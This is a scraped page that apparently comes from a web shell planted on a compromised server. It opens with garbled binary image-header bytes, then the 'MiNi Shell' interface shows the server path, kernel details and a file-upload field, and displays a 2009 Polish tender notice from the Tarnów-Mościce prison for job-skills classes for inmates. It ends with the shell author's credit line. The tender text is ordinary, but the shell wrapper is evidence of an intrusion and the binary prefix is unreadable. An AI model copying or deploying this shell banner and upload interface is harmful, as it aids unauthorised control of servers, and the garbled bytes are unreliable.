JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090714/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090714/238030-N-2009.html

<p class="kh_header"><b>Tarnów: zorganizowanie zajęć aktywizacyjnych</b><br>
<b>Numer ogłoszenia: 238030 - 2009; data zamieszczenia: 14.07.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Zakład Karny w Tarnowie-Mościcach , ul. Jędrzeja Śniadeckiego 9, 33-101 Tarnów, woj. małopolskie, tel. 014 6319300, faks 014 6319305.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.sw.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Organ kontroli państwowej lub ochrony prawa, sąd lub trybunał.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> zorganizowanie zajęć aktywizacyjnych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest zorganizowanie na terenie Zamawiającego zajęć z zakresu aktywizacji zawodowej dla skazanych odbywających karę pozbawienia wolności.
	Zajęcia dedykowane są dla szkolenia pn. Podstawy obsługi komputera, które było realizowane na terenie Zamawiającego w dniach 15-22 kwietnia 2009.
Cel szkolenia: zdobycie wiedzy i praktycznych umiejętności w zakresie poruszania się po rynku pracy po zakończeniu odbywania kary pozbawienia wolności.
Szczegółowe cele zajęć:
uczestnicy dokonują analizy swoich mocnych stron,
uczestnicy odkrywają i określają swój potencjał,
uczestnicy określają swoje preferencje dotyczące pracy,
uczestnicy uczą się poruszać na jawnym i ukrytym rynku pracy,
uczestnicy uczą się pisać CV i list motywacyjny oraz rozmawiać z pracodawcą.
Zajęcia swym zakresem tematycznym powinny objąć następujące moduły:
I.Odkrywanie własnych możliwości i umiejętności.
W wyniku realizacji modułu muszą zostać osiągnięte następujące cele:
zwiększenie poczucia pewności siebie,
identyfikacja umiejętności, słabych i mocnych stron
wzmocnienie przekonania, że znalezienie pracy jest możliwe.
II.Rynek pracy.
W wyniku realizacji modułu muszą zostać osiągnięte następujące cele:
zmiana sposobu myślenia na temat rynku pracy,
demitologizacja rynku pracy,
nabycie umiejętności analizowania różnych form pracy.
III.Znajdowanie ofert pracy.
W wyniku realizacji modułu muszą zostać osiągnięte następujące cele:
poznanie zasad ułatwiających poszukiwanie pracy,
zapoznanie z technikami znajdowania ofert pracy ze szczególnym uwzględnieniem nowoczesnych technologii (Internet).
IV.Dokumenty aplikacyjne.
W wyniku realizacji modułu muszą zostać osiągnięte następujące cele:
poznanie zasad sporządzania życiorysu zawodowego i listu motywacyjnego,
nabycie umiejętności pisania życiorysu zawodowego i listu motywacyjnego.
V.Rozmowa kwalifikacyjna.
W wyniku realizacji modułu muszą zostać osiągnięte następujące cele:
poznanie zasad prowadzenia rozmowy kwalifikacyjnej,
przygotowanie do rozmowy,
przebieg rozmowy,
analiza popełnianych błędów.
VI.Nowa praca
W wyniku realizacji modułu muszą zostać osiągnięte następujące cele:
określenie pożądanych zachowań w nowym miejscu pracy,
zapoznanie się z rodzajami umów regulujących stosunek pracy.
Do sugerowanych przez Zamawiającego metod pracy należą:
praca w grupach,
praca indywidualna,
wykład,
studium przypadku,
ćwiczenie scenek,
burza mózgów,
dyskusja.
Zajęcia mają trwać do 25 godzin, nie krócej niż 15 godzin. Dzienna liczba godzin zajęć nie może przekroczyć 8 godzin dydaktycznych. Zajęcia odbywać się mogą od poniedziałku do soboty z wyłączeniem świąt. Zajęcia należy przeprowadzić na terenie Zamawiającego.
W ramach wynagrodzenia Wykonawca opracuje i dostarczy materiały szkoleniowe (skrypt) oraz materiały biurowe niezbędne do czynnego udziału w zajęciach. Zajęcia prowadzone będą z wykorzystaniem nowoczesnej technologii, tj. laptopa i rzutnika. Wymaga się od Wykonawcy przygotowania materiałów szkoleniowych w atrakcyjnej formie multimedialnej (w postaci prezentacji multimedialnych).
Zamawiający zapewnia zaplecze do realizacji szkolenia (sale wykładowe, pomoce szkoleniowe, np. rzutnik multimedialny, flipchart, etc.)
Przewidywana ilość uczestników szkolenia: 12 osób.
Wykonawca zobowiązany jest do:
1)przeprowadzenia zajęć aktywizacyjnych zgodnie z przedstawionym programem szkolenia,
2)prowadzenia dokumentacji przebiegu szkolenia zgodnie z zapisami umowy;
3)ubezpieczenia uczestników szkolenia od następstw nieszczęśliwych wypadków, powstałych w związku z realizacją szkolenia oraz w drodze do i z miejsca szkolenia (grupowo lub indywidualnie wg uznania);
4)sprawowania nadzoru nad frekwencją uczestników szkolenia poprzez prowadzenie imiennej listy obecności z podpisami uczestników szkolenia - Wykonawca otrzyma wynagrodzenie wyłącznie za osoby, które ukończą zajęcia z wynikiem pozytywnym, warunkiem zaliczenia zajęć jest min. 80%-frekwencja;
5)przeprowadzenia ankiety określającej stopień posiadanej i nabytej wiedzy oraz umiejętności przez uczestników szkolenia,
6)wydania dokumentu o ukończeniu zajęć,
7)przedłożenia Zamawiającemu dokumentacji potwierdzającej wywiązanie się z obowiązków w sposób i w terminie przewidzianych umową..</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.08.2009.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga złożenia wadium<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> Wykonawcy powinni spełniać warunki, o których mowa w art. 22 ust. 1 ustawy Prawo zamówień publicznych, tj.:
1.posiadać uprawnienia do wykonania Zamówienia, 
2.posiadać niezbędną wiedzę i doświadczenie oraz dysponować potencjałem technicznym i osobami zdolnymi do wykonania Zamówienia lub przedstawić pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia, przy czym ze względu na bezpieczeństwo Zamawiającego osoby pracujące w bezpośrednim kontakcie ze skazanymi nie mogą być osobami karanymi;
3.znajdować się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie Zamówienia;
4.nie podlegać wykluczeniu z Postępowania, zgodnie z art. 24 Ustawy.
Ocena spełniania warunków dokonywana będzie na podstawie złożonych oświadczeń i dokumentów..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> Spełnianie tych warunków oceniane będzie na podstawie: 
1.wypełnionych i podpisanych przez Wykonawcę oświadczeń według wzoru stanowiącego Załącznik do SIWZ;
2.w razie zadeklarowania w oświadczeniu, o którym mowa w punkcie poprzednim, braku potencjału technicznego lub osób zdolnych do wykonania zamówienia - pisemnego zobowiązania innych podmiotów do udostępnienia Wykonawcy tychże;
3.certyfikatu, wydanego przez właściwego marszałka województwa, potwierdzającego wpis do rejestru podmiotów prowadzących agencje zatrudnienia, co jest warunkiem wykonania Zamówienia zgodnie z art. 18 ust. 1 pkt 3) lit c) ustawy z dnia 20 kwietnia 2004 r. o promocji zatrudnienia i instytucjach rynku pracy (Dz. U. z 2008 Nr 69, poz. 415 z późn. zm.), o ile Wykonawca nie jest zwolniony z obowiązku wpisu do rejestru..</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.sw.gov.pl.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> w siedzibie Zamawiającego.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 22.07.2009 godzina 10:00, miejsce: w siedzibie Zamawiającego.</p><p><b>IV.3.5) Termin związania ofertą:</b> do 20.08.2009.</p>
<p><b>IV.3.13) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zamówienie jest realizowane w ramach projektu współfinansowanego ze środków Unii Europejskiej 
w ramach Europejskiego Funduszu Społecznego:
Program Operacyjny Kapitał Ludzki 2007 - 2013, Priorytet I, Działanie 1.3., Poddziałanie 1.3.4.

Creat By MiNi SheLL
Email: jattceo@gmail.com